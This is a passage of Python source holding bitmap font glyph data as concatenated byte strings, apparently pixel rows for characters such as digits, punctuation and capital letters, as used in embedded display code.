b'\x00\x00\x00\x00\x00\x0e\x00\x0e\x00\x0e\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0d\x00\x00\x00\x70'\
b'\xe0\x70\xe0\x70\xe0\x70\xe0\x70\xe0\x70\xe0\x70\xe0\x70\xe0\x20'\
b'\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x14\x00\x00\x00\x00\x01\xc1\xc0\x01\xc1\xc0\x01\xc3'\
b'\xc0\x03\x83\x80\x03\x83\x80\x03\x83\x80\x03\x83\x80\xff\xff\xf0'\
b'\xff\xff\xf0\xff\xff\xf0\x07\x07\x00\x07\x07\x00\x07\x07\x00\x0e'\
b'\x0e\x00\x0e\x0e\x00\x0e\x0e\x00\xff\xff\xf0\xff\xff\xf0\xff\xff'\
b'\xf0\x1c\x1c\x00\x1c\x1c\x00\x1c\x1c\x00\x1c\x1c\x00\x3c\x38\x00'\
b'\x38\x38\x00\x38\x38\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00'\
b'\x00\x60\x00\x03\xf8\x00\x0f\xfe\x00\x1f\xff\x00\x1e\x67\x00\x3c'\
b'\x63\x80\x38\x63\x80\x38\x60\x00\x38\x60\x00\x38\x60\x00\x1c\x60'\
b'\x00\x1f\xe0\x00\x0f\xf8\x00\x03\xfe\x00\x00\xff\x00\x00\x6f\x80'\
b'\x00\x63\x80\x00\x61\xc0\x00\x61\xc0\x70\x61\xc0\x70\x61\xc0\x78'\
b'\x63\xc0\x3c\x63\x80\x3e\x67\x80\x1f\xff\x00\x0f\xfe\x00\x01\xf8'\
b'\x00\x00\x60\x00\x00\x60\x00\x00\x60\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x07'\
b'\xc0\x03\x80\x0f\xe0\x07\x80\x1c\x70\x07\x00\x1c\x70\x0f\x00\x38'\
b'\x38\x0e\x00\x38\x38\x1c\x00\x38\x38\x3c\x00\x38\x38\x38\x00\x38'\
b'\x38\x78\x00\x38\x38\x70\x00\x18\x70\xf0\x00\x1c\x70\xe0\x00\x0f'\
b'\xe1\xc3\xe0\x07\xc1\xc7\xf0\x00\x03\x8e\x38\x00\x07\x8e\x38\x00'\
b'\x07\x1c\x1c\x00\x0f\x1c\x1c\x00\x0e\x1c\x1c\x00\x1e\x1c\x1c\x00'\
b'\x1c\x1c\x1c\x00\x38\x1c\x1c\x00\x78\x0c\x38\x00\x70\x0e\x38\x00'\
b'\xf0\x07\xf0\x00\xe0\x03\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x7c\x00\x01'\
b'\xfe\x00\x03\xff\x00\x07\x87\x80\x07\x03\x80\x07\x03\x80\x07\x03'\
b'\x80\x07\x83\x80\x03\x87\x00\x03\xde\x00\x01\xfc\x00\x01\xf8\x00'\
b'\x03\xf0\x00\x0f\xb8\x00\x1e\x3c\x20\x1c\x1e\x38\x3c\x0f\x78\x38'\
b'\x07\x70\x38\x03\xf0\x38\x03\xe0\x3c\x01\xe0\x1c\x03\xf0\x1f\x0f'\
b'\xf8\x0f\xff\xbe\x07\xfe\x1c\x01\xf8\x08\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x07\x00\x00\x38\x38\x38\x38\x38\x38\x38\x38\x10\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\xc0\x01\x80\x03'\
b'\x80\x03\x00\x07\x00\x06\x00\x0e\x00\x0c\x00\x1c\x00\x1c\x00\x1c'\
b'\x00\x38\x00\x38\x00\x38\x00\x38\x00\x38\x00\x38\x00\x38\x00\x38'\
b'\x00\x38\x00\x38\x00\x18\x00\x1c\x00\x1c\x00\x1c\x00\x0c\x00\x0e'\
b'\x00\x06\x00\x07\x00\x03\x00\x03\x80\x01\x80\x00\xc0\x00\x00\x0c'\
b'\x00\x00\x00\x30\x00\x18\x00\x1c\x00\x0c\x00\x0e\x00\x06\x00\x07'\
b'\x00\x03\x00\x03\x80\x03\x80\x03\x80\x01\x80\x01\xc0\x01\xc0\x01'\
b'\xc0\x01\xc0\x01\xc0\x01\xc0\x01\xc0\x01\xc0\x01\xc0\x01\x80\x03'\
b'\x80\x03\x80\x03\x80\x07\x00\x07\x00\x06\x00\x0e\x00\x0c\x00\x1c'\
b'\x00\x18\x00\x30\x00\x00\x00\x0e\x00\x00\x00\x03\x80\x03\x80\x03'\
b'\x80\x3b\xb8\x7f\xfc\x1f\xf0\x07\xc0\x0e\xe0\x1e\xf0\x1c\x70\x08'\
b'\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x15'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x70\x00\x00\x70\x00\x00\x70\x00\x00\x70\x00\x00'\
b'\x70\x00\x00\x70\x00\x00\x70\x00\x3f\xff\xe0\x3f\xff\xe0\x3f\xff'\
b'\xe0\x00\x70\x00\x00\x70\x00\x00\x70\x00\x00\x70\x00\x00\x70\x00'\
b'\x00\x70\x00\x00\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x1c\x00'\
b'\x1c\x00\x0c\x00\x0c\x00\x0c\x00\x0c\x00\x18\x00\x18\x00\x00\x00'\
b'\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x7f\xe0\x7f\xe0\x7f\xe0\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x1c\x00'\
b'\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x0a\x00\x00\x00\x01\xc0\x01\xc0\x03\x80\x03\x80\x03\x80'\
b'\x03\x80\x07\x00\x07\x00\x07\x00\x0e\x00\x0e\x00\x0e\x00\x0e\x00'\
b'\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x38\x00\x38\x00\x38\x00\x78\x00'\
b'\x70\x00\x70\x00\x70\x00\xe0\x00\xe0\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x01'\
b'\xf8\x00\x07\xfe\x00\x0f\xff\x00\x0f\x0f\x00\x1e\x07\x80\x1c\x03'\
b'\x80\x1c\x03\x80\x38\x01\xc0\x38\x01\xc0\x38\x01\xc0\x38\x01\xc0'\
b'\x38\x01\xc0\x38\x01\xc0\x38\x01\xc0\x38\x01\xc0\x38\x01\xc0\x38'\
b'\x01\xc0\x38\x01\xc0\x38\x01\xc0\x1c\x03\x80\x1c\x03\x80\x1e\x07'\
b'\x80\x0f\x0f\x00\x0f\xff\x00\x07\xfe\x00\x01\xf8\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x18\x00\x00\x38\x00'\
b'\x00\x78\x00\x00\xf8\x00\x01\xf8\x00\x03\xf8\x00\x0f\xb8\x00\x0f'\
b'\x38\x00\x0c\x38\x00\x00\x38\x00\x00\x38\x00\x00\x38\x00\x00\x38'\
b'\x00\x00\x38\x00\x00\x38\x00\x00\x38\x00\x00\x38\x00\x00\x38\x00'\
b'\x00\x38\x00\x00\x38\x00\x00\x38\x00\x00\x38\x00\x00\x38\x00\x00'\
b'\x38\x00\x00\x38\x00\x00\x38\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x14\x00\x00\x00\x00\x03\xf8\x00\x0f\xfe\x00\x1f\xff\x00\x3e\x0f'\
b'\x80\x38\x03\x80\x70\x03\xc0\x70\x01\xc0\x00\x01\xc0\x00\x01\xc0'\
b'\x00\x01\xc0\x00\x03\x80\x00\x07\x80\x00\x07\x00\x00\x0e\x00\x00'\
b'\x1c\x00\x00\x38\x00\x00\xf0\x00\x01\xe0\x00\x03\xc0\x00\x07\x80'\
b'\x00\x0f\x00\x00\x1c\x00\x00\x38\x00\x00\x3f\xff\xc0\x7f\xff\xc0'\
b'\x7f\xff\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00'\
b'\x01\xf8\x00\x07\xfe\x00\x0f\xff\x00\x1e\x0f\x00\x1c\x07\x80\x38'\
b'\x03\x80\x38\x03\x80\x00\x03\x80\x00\x07\x00\x00\x0f\x00\x00\xfe'\
b'\x00\x00\xfe\x00\x00\xff\x00\x00\x07\x80\x00\x03\x80\x00\x01\xc0'\
b'\x00\x01\xc0\x00\x01\xc0\x00\x01\xc0\x38\x01\xc0\x38\x03\xc0\x1c'\
b'\x03\x80\x1e\x0f\x80\x0f\xff\x00\x07\xfe\x00\x01\xf8\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x0e\x00\x00\x1e'\
b'\x00\x00\x3e\x00\x00\x3e\x00\x00\x7e\x00\x00\xfe\x00\x00\xee\x00'\
b'\x01\xee\x00\x03\xce\x00\x03\x8e\x00\x07\x8e\x00\x07\x0e\x00\x0e'\
b'\x0e\x00\x1e\x0e\x00\x1c\x0e\x00\x38\x0e\x00\x78\x0e\x00\x7f\xff'\
b'\xc0\x7f\xff\xc0\x7f\xff\xc0\x00\x0e\x00\x00\x0e\x00\x00\x0e\x00'\
b'\x00\x0e\x00\x00\x0e\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x14\x00\x00\x00\x00\x07\xff\x80\x07\xff\x80\x0f\xff\x80\x0e'\
b'\x00\x00\x0e\x00\x00\x0e\x00\x00\x1e\x00\x00\x1c\x00\x00\x1c\xf8'\
b'\x00\x1f\xfe\x00\x1f\xff\x00\x3e\x0f\x80\x38\x03\x80\x00\x03\xc0'\
b'\x00\x01\xc0\x00\x01\xc0\x00\x01\xc0\x00\x01\xc0\x00\x01\xc0\x38'\
b'\x01\xc0\x38\x03\x80\x1c\x03\x80\x1e\x0f\x00\x0f\xff\x00\x07\xfc'\
b'\x00\x01\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00'\
b'\x00\x01\xf8\x00\x07\xfe\x00\x0f\xff\x00\x1f\x0f\x80\x1c\x03\x80'\
b'\x3c\x03\xc0\x38\x01\xc0\x38\x00\x00\x70\x00\x00\x70\xf8\x00\x73'\
b'\xfe\x00\x77\xff\x00\x7e\x0f\x80\x7c\x03\x80\x78\x03\xc0\x70\x01'\
b'\xc0\x70\x01\xc0\x70\x01\xc0\x70\x01\xc0\x30\x01\xc0\x38\x03\x80'\
b'\x3c\x03\x80\x1e\x0f\x80\x0f\xff\x00\x07\xfe\x00\x01\xf8\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x7f\xff\xc0\x7f'\
b'\xff\xc0\x7f\xff\xc0\x00\x01\x80\x00\x03\x00\x00\x07\x00\x00\x0e'\
b'\x00\x00\x1c\x00\x00\x1c\x00\x00\x38\x00\x00\x38\x00\x00\x70\x00'\
b'\x00\x70\x00\x00\xe0\x00\x00\xe0\x00\x01\xc0\x00\x01\xc0\x00\x01'\
b'\xc0\x00\x03\x80\x00\x03\x80\x00\x03\x80\x00\x03\x80\x00\x07\x00'\
b'\x00\x07\x00\x00\x07\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x14\x00\x00\x00\x00\x01\xf8\x00\x07\xfe\x00\x0f\xff\x00'\
b'\x0f\x0f\x00\x1e\x07\x80\x1c\x03\x80\x1c\x03\x80\x1c\x03\x80\x1e'\
b'\x07\x80\x0f\x0f\x00\x07\xfe\x00\x03\xfc\x00\x0f\xff\x00\x1e\x07'\
b'\x80\x1c\x03\x80\x38\x03\xc0\x38\x01\xc0\x38\x01\xc0\x38\x01\xc0'\
b'\x38\x01\xc0\x38\x03\xc0\x1c\x03\x80\x1f\x07\x80\x0f\xff\x00\x07'\
b'\xfe\x00\x01\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00'\
b'\x00\x00\x01\xf0\x00\x07\xfc\x00\x0f\xfe\x00\x1f\x07\x00\x1c\x03'\
b'\x80\x3c\x03\x80\x38\x01\x80\x38\x01\xc0\x38\x01\xc0\x38\x01\xc0'\
b'\x38\x01\xc0\x3c\x03\xc0\x1c\x03\xc0\x1e\x0f\xc0\x0f\xfd\xc0\x07'\
b'\xf9\xc0\x01\xf1\xc0\x00\x01\xc0\x00\x03\x80\x38\x03\x80\x38\x03'\
b'\x80\x1c\x07\x00\x1e\x0f\x00\x0f\xfe\x00\x07\xfc\x00\x03\xf0\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x1c\x00\x1c\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x1c\x00\x1c\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x1c\x00\x1c\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x1c\x00\x1c\x00\x1c\x00\x0c\x00\x0c\x00\x0c\x00\x0c\x00'\
b'\x18\x00\x10\x00\x00\x00\x00\x00\x15\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00'\
b'\x01\xe0\x00\x07\xe0\x00\x3f\xc0\x00\xfe\x00\x03\xf8\x00\x1f\xc0'\
b'\x00\x3f\x00\x00\x38\x00\x00\x3f\x00\x00\x1f\xc0\x00\x03\xf8\x00'\
b'\x00\xfe\x00\x00\x3f\xc0\x00\x07\xe0\x00\x01\xe0\x00\x00\x20\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x3f\xff\xe0\x3f\xff\xe0\x3f\xff\xe0\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x3f\xff\xe0\x3f\xff\xe0\x3f\xff'\
b'\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x15\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x20\x00\x00\x3c\x00\x00\x3f\x00\x00\x1f\xe0\x00\x03\xf8'\
b'\x00\x00\xfe\x00\x00\x1f\xc0\x00\x07\xe0\x00\x00\xe0\x00\x07\xe0'\
b'\x00\x1f\xc0\x00\xfe\x00\x03\xf8\x00\x1f\xe0\x00\x3f\x00\x00\x3c'\
b'\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x01\xf8'\
b'\x00\x07\xfe\x00\x0f\xff\x00\x1f\x0f\x80\x1c\x03\xc0\x38\x01\xc0'\
b'\x38\x01\xc0\x00\x01\xc0\x00\x01\xc0\x00\x03\x80\x00\x07\x80\x00'\
b'\x0f\x00\x00\x1e\x00\x00\x3c\x00\x00\x78\x00\x00\x70\x00\x00\xe0'\
b'\x00\x00\xe0\x00\x00\xe0\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\xe0\x00\x00\xe0\x00\x00\xe0\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x25\x00\x00\x00\x00\x00\x00\x00\x01\xff\x00\x00'\
b'\x00\x0f\xff\xc0\x00\x00\x3f\xff\xf0\x00\x00\xfe\x01\xf8\x00\x01'\
b'\xf8\x00\x7c\x00\x03\xe0\x00\x1e\x00\x03\xc0\x00\x0f\x00\x07\x80'\
b'\xf8\xe7\x80\x0f\x03\xfc\xe3\x80\x0e\x07\xfe\xc3\x80\x1e\x0f\x07'\
b'\xc3\xc0\x1c\x1e\x03\xc1\xc0\x1c\x1c\x01\xc1\xc0\x3c\x38\x01\xc1'\
b'\xc0\x38\x38\x01\x81\xc0\x38\x70\x01\x81\xc0\x38\x70\x01\x81\xc0'\
b'\x38\x70\x01\x83\x80\x38\x70\x03\x83\x80\x38\x70\x03\x07\x80\x38'\
b'\x70\x07\x07\x00\x38\x38\x0f\x0e\x00\x1c\x3c\x3f\x3e\x00\x1c\x1f'\
b'\xff\xfc\x00\x1e\x0f\xe7\xf8\x00\x0e\x07\xc3\xe0\x00\x0f\x00\x00'\
b'\x00\xe0\x07\x80\x00\x01\xc0\x07\xc0\x00\x07\x80\x03\xf0\x00\x0f'\
b'\x00\x00\xfe\x00\x7e\x00\x00\x7f\xff\xfc\x00\x00\x1f\xff\xf0\x00'\
b'\x00\x01\xff\x80\x00\x17\x00\x00\x00\x00\x00\x7c\x00\x00\x7c\x00'\
b'\x00\x7c\x00\x00\xee\x00\x00\xee\x00\x01\xef\x00\x01\xc7\x00\x01'\
b'\xc7\x00\x03\x83\x80\x03\x83\x80\x03\x83\x80\x07\x01\xc0\x07\x01'\
b'\xc0\x0f\x01\xe0\x0e\x00\xe0\x0f\xff\xe0\x1f\xff\xf0\x1f\xff\xf0'\
b'\x1c\x00\x70\x38\x00\x38\x38\x00\x38\x78\x00\x3c\x70\x00\x1c\x70'\
b'\x00\x1c\xf0\x00\x1e\xe0\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x18\x00\x00\x00\x00\x1f\xff\x00\x1f\xff\xc0\x1f\xff\xf0\x1c\x00'\
b'\xf0\x1c\x00\x78\x1c\x00\x38\x1c\x00\x38\x1c\x00\x38\x1c\x00\x38'\
b'\x1c\x00\x70\x1c\x00\xf0\x1f\xff\xe0\x1f\xff\xe0\x1f\xff\xf0\x1c'\
b'\x00\xf8\x1c\x00\x38\x1c\x00\x1c\x1c\x00\x1c\x1c\x00\x1c\x1c\x00'\
b'\x1c\x1c\x00\x1c\x1c\x00\x38\x1c\x00\xf8\x1f\xff\xf0\x1f\xff\xe0'\
b'\x1f\xff\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00'\
b'\x00\x00\x3f\x80\x00\x00\xff\xe0\x00\x03\xff\xf0\x00\x07\xc0\xf8'\
b'\x00\x0f\x00\x3c\x00\x0e\x00\x1c\x00\x1c\x00\x1e\x00\x1c\x00\x0e'\
b'\x00\x3c\x00\x00\x00\x38\x00\x00\x00\x38\x00\x00\x00\x38\x00\x00'\
b'\x00\x38\x00\x00\x00\x38\x00\x00\x00\x38\x00\x00\x00\x38\x00\x00'\
b'\x00\x38\x00\x00\x00\x1c\x00\x07\x00\x1c\x00\x0f\x00\x1e\x00\x0e'\
b'\x00\x0e\x00\x1e\x00\x0f\x00\x3c\x00\x07\xc0\xfc\x00\x03\xff\xf8'\
b'\x00\x01\xff\xe0\x00\x00\x3f\x80\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x1f'\
b'\xff\x80\x00\x1f\xff\xe0\x00\x1f\xff\xf0\x00\x1c\x00\xf8\x00\x1c'\
b'\x00\x3c\x00\x1c\x00\x1c\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x1c'\
b'\x00\x0f\x00\x1c\x00\x07\x00\x1c\x00\x07\x00\x1c\x00\x07\x00\x1c'\
b'\x00\x07\x00\x1c\x00\x07\x00\x1c\x00\x07\x00\x1c\x00\x07\x00\x1c'\
b'\x00\x07\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x1c'\
b'\x00\x1c\x00\x1c\x00\x3c\x00\x1c\x00\xf8\x00\x1f\xff\xf0\x00\x1f'\
b'\xff\xe0\x00\x1f\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x1f\xff\xf8\x1f'\
b'\xff\xf8\x1f\xff\xf8\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00'\
b'\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1f\xff\xf0'\
b'\x1f\xff\xf0\x1f\xff\xf0\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c'\
b'\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00'\
b'\x00\x1f\xff\xfc\x1f\xff\xfc\x1f\xff\xfc\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x16\x00\x00\x00\x00\x1f\xff\xf0\x1f\xff\xf0\x1f\xff\xf0'\
b'\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c'\
b'\x00\x00\x1c\x00\x00\x1c\x00\x00\x1f\xff\xc0\x1f\xff\xc0\x1f\xff'\
b'\xc0\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00'\
b'\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c'\
b'\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00'\
b'\x00\x00\x00\x00\x1f\xe0\x00\x00\xff\xf8\x00\x01\xff\xfe\x00\x03'\
b'\xe0\x3f\x00\x07\x80\x0f\x00\x0f\x00\x07\x80\x1e\x00\x03\x80\x1c'\
b'\x00\x01\xc0\x1c\x00\x00\x00\x38\x00\x00\x00\x38\x00\x00\x00\x38'\
b'\x00\x00\x00\x38\x00\x00\x00\x38\x01\xff\xc0\x38\x01\xff\xc0\x38'\
b'\x01\xff\xc0\x38\x00\x01\xc0\x1c\x00\x01\xc0\x1c\x00\x01\xc0\x1e'\
b'\x00\x01\xc0\x0f\x00\x01\xc0\x07\x80\x07\xc0\x03\xf0\x1f\xc0\x01'\
b'\xff\xff\x00\x00\xff\xfc\x00\x00\x1f\xe0\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00'\
b'\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x1c\x00\x0e'\
b'\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x1c\x00\x0e'\
b'\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x1f\xff\xfe'\
b'\x00\x1f\xff\xfe\x00\x1f\xff\xfe\x00\x1c\x00\x0e\x00\x1c\x00\x0e'\
b'\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x1c\x00\x0e'\
b'\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x1c\x00\x0e'\
b'\x00\x1c\x00\x0e\x00\x1c\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x1c\x00\x1c'\
b'\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c'\
b'\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c'\
b'\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c\x00\x1c'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x12\x00\x00\x00\x00\x00\x0e\x00\x00\x0e\x00\x00\x0e\x00\x00'\
b'\x0e\x00\x00\x0e\x00\x00\x0e\x00\x00\x0e\x00\x00\x0e\x00\x00\x0e'\
b'\x00\x00\x0e\x00\x00\x0e\x00\x00\x0e\x00\x00\x0e\x00\x00\x0e\x00'\
b'\x00\x0e\x00\x00\x0e\x00\x00\x0e\x00\x00\x0e\x00\x70\x0e\x00\x70'\
b'\x0e\x00\x70\x0e\x00\x78\x1e\x00\x3c\x3c\x00\x3f\xfc\x00\x1f\xf8'\
b'\x00\x07\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00'\
b'\x00\x1c\x00\x1e\x1c\x00\x3c\x1c\x00\x78\x1c\x00\xf0\x1c\x01\xe0'\
